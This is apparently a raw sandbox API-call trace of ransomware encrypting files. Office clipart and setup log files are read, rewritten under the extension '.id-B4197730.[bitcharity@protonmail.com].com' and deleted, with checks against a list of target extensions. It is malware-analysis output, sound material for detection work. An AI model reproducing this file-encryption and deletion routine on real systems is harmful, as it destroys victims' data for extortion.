(in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x32c, lpOverlapped=0x0) returned 1 [0154.227] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x330, lpOverlapped=0x0) returned 1 [0154.229] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.229] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.230] SetEndOfFile (hFile=0x1098) returned 1 [0154.230] CloseHandle (hObject=0x1098) returned 1 [0154.955] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.955] SetEndOfFile (hFile=0x1084) returned 1 [0154.956] CloseHandle (hObject=0x1084) returned 1 [0154.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 1 [0154.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0154.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0154.958] lstrlenW (lpString=".doc") returned 4 [0154.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.958] lstrlenW (lpString=".docx") returned 5 [0154.958] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.958] lstrlenW (lpString=".pdf") returned 4 [0154.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.958] lstrlenW (lpString=".xls") returned 4 [0154.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.958] lstrlenW (lpString=".xlsx") returned 5 [0154.958] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.958] lstrlenW (lpString=".ppt") returned 4 [0154.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0154.958] lstrlenW (lpString=".zip") returned 4 [0154.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.958] lstrlenW (lpString=".rar") returned 4 [0154.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.958] lstrlenW (lpString=".bz2") returned 4 [0154.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.958] lstrlenW (lpString=".7z") returned 3 [0154.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0154.958] lstrlenW (lpString=".dbf") returned 4 [0154.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0154.958] lstrlenW (lpString=".1cd") returned 4 [0154.958] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0154.959] lstrlenW (lpString=".jpg") returned 4 [0154.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.959] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.959] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0154.960] GetLastError () returned 0x0 [0154.960] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x714c, lpOverlapped=0x0) returned 1 [0154.978] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x7150, lpOverlapped=0x0) returned 1 [0154.979] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.980] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.980] SetEndOfFile (hFile=0x1098) returned 1 [0154.980] CloseHandle (hObject=0x1098) returned 1 [0155.340] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.340] SetEndOfFile (hFile=0x1084) returned 1 [0155.342] CloseHandle (hObject=0x1084) returned 1 [0155.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0155.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0155.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0155.343] lstrlenW (lpString=".doc") returned 4 [0155.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.343] lstrlenW (lpString=".docx") returned 5 [0155.343] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0155.343] lstrlenW (lpString=".pdf") returned 4 [0155.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.343] lstrlenW (lpString=".xls") returned 4 [0155.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.343] lstrlenW (lpString=".xlsx") returned 5 [0155.343] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0155.343] lstrlenW (lpString=".ppt") returned 4 [0155.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0155.343] lstrlenW (lpString=".zip") returned 4 [0155.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.344] lstrlenW (lpString=".rar") returned 4 [0155.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.344] lstrlenW (lpString=".bz2") returned 4 [0155.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.344] lstrlenW (lpString=".7z") returned 3 [0155.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0155.344] lstrlenW (lpString=".dbf") returned 4 [0155.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0155.344] lstrlenW (lpString=".1cd") returned 4 [0155.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0155.344] lstrlenW (lpString=".jpg") returned 4 [0155.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.344] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.345] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0155.345] GetLastError () returned 0x0 [0155.345] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x6b0, lpOverlapped=0x0) returned 1 [0155.512] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x6c0, lpOverlapped=0x0) returned 1 [0155.513] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.513] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.514] SetEndOfFile (hFile=0x1098) returned 1 [0155.514] CloseHandle (hObject=0x1098) returned 1 [0155.521] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.522] SetEndOfFile (hFile=0x1084) returned 1 [0155.523] CloseHandle (hObject=0x1084) returned 1 [0155.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.524] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0155.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0155.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0155.525] lstrlenW (lpString=".doc") returned 4 [0155.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.525] lstrlenW (lpString=".docx") returned 5 [0155.525] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.525] lstrlenW (lpString=".pdf") returned 4 [0155.525] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.525] lstrlenW (lpString=".xls") returned 4 [0155.525] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.525] lstrlenW (lpString=".xlsx") returned 5 [0155.525] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.525] lstrlenW (lpString=".ppt") returned 4 [0155.525] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0155.525] lstrlenW (lpString=".zip") returned 4 [0155.525] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.525] lstrlenW (lpString=".rar") returned 4 [0155.525] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.525] lstrlenW (lpString=".bz2") returned 4 [0155.525] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.525] lstrlenW (lpString=".7z") returned 3 [0155.525] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0155.525] lstrlenW (lpString=".dbf") returned 4 [0155.525] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0155.526] lstrlenW (lpString=".1cd") returned 4 [0155.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0155.526] lstrlenW (lpString=".jpg") returned 4 [0155.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.526] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.526] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0155.527] GetLastError () returned 0x0 [0155.527] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x634, lpOverlapped=0x0) returned 1 [0155.580] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x640, lpOverlapped=0x0) returned 1 [0155.581] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.582] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.582] SetEndOfFile (hFile=0x1098) returned 1 [0155.590] CloseHandle (hObject=0x1098) returned 1 [0155.598] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.598] SetEndOfFile (hFile=0x1084) returned 1 [0155.623] CloseHandle (hObject=0x1084) returned 1 [0155.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 1 [0155.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0155.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0155.624] lstrlenW (lpString=".doc") returned 4 [0155.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.624] lstrlenW (lpString=".docx") returned 5 [0155.624] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.624] lstrlenW (lpString=".pdf") returned 4 [0155.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.624] lstrlenW (lpString=".xls") returned 4 [0155.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.624] lstrlenW (lpString=".xlsx") returned 5 [0155.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.624] lstrlenW (lpString=".ppt") returned 4 [0155.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0155.624] lstrlenW (lpString=".zip") returned 4 [0155.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.624] lstrlenW (lpString=".rar") returned 4 [0155.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.624] lstrlenW (lpString=".bz2") returned 4 [0155.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.624] lstrlenW (lpString=".7z") returned 3 [0155.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0155.625] lstrlenW (lpString=".dbf") returned 4 [0155.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0155.625] lstrlenW (lpString=".1cd") returned 4 [0155.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0155.625] lstrlenW (lpString=".jpg") returned 4 [0155.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.630] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.630] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0155.630] GetLastError () returned 0x0 [0155.630] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x15cc, lpOverlapped=0x0) returned 1 [0155.649] WriteFile (in: hFile=0x103c, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x15d0, lpOverlapped=0x0) returned 1 [0155.650] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.650] WriteFile (in: hFile=0x103c, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.651] SetEndOfFile (hFile=0x103c) returned 1 [0155.651] CloseHandle (hObject=0x103c) returned 1 [0155.652] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.652] SetEndOfFile (hFile=0x10d0) returned 1 [0155.653] CloseHandle (hObject=0x10d0) returned 1 [0155.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) Thread: id = 857 os_tid = 0x1c14 [0128.642] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x3630090 [0128.642] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x3640098 [0128.643] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647d08 [0128.643] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x656250 [0128.643] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647a68 [0128.643] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x3ae1020 [0128.646] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647ba0 [0128.646] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x647ba0, Size=0x20) returned 0x5e3a28 [0128.646] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647b70 [0128.646] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x647b70, Size=0x20) returned 0x5e3848 [0128.646] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0128.646] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0128.646] Wow64DisableWow64FsRedirection (in: OldValue=0x30cff50 | out: OldValue=0x30cff50*=0x0) returned 1 [0128.646] lstrlenW (lpString="kernel32.dll") returned 12 [0128.646] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3a28 | out: hHeap=0x5a0000) returned 1 [0128.646] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0128.646] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3848 | out: hHeap=0x5a0000) returned 1 [0128.647] Sleep (dwMilliseconds=0x64) [0128.880] lstrcmpiW (lpString1=".log", lpString2=".com") returned 1 [0128.880] lstrlenW (lpString="PartnerSetupCompleteResult.log") returned 30 [0128.880] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1034 [0129.476] GetFileSizeEx (in: hFile=0x1034, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=40) returned 1 [0129.476] CloseHandle (hObject=0x1034) returned 1 [0129.476] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20 [0129.476] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0129.476] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1034 [0129.476] SetFilePointerEx (in: hFile=0x1034, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0129.477] SetFilePointerEx (in: hFile=0x1034, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0129.477] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0129.477] GetLastError () returned 0x0 [0129.477] ReadFile (in: hFile=0x1034, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x28, lpOverlapped=0x0) returned 1 [0129.490] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x30, lpOverlapped=0x0) returned 1 [0129.491] ReadFile (in: hFile=0x1034, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0129.491] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x110, lpOverlapped=0x0) returned 1 [0129.491] SetEndOfFile (hFile=0x103c) returned 1 [0129.491] CloseHandle (hObject=0x103c) returned 1 [0129.494] SetFilePointerEx (in: hFile=0x1034, liDistanceToMove=0x0, lpNewFilePointer=0x0, 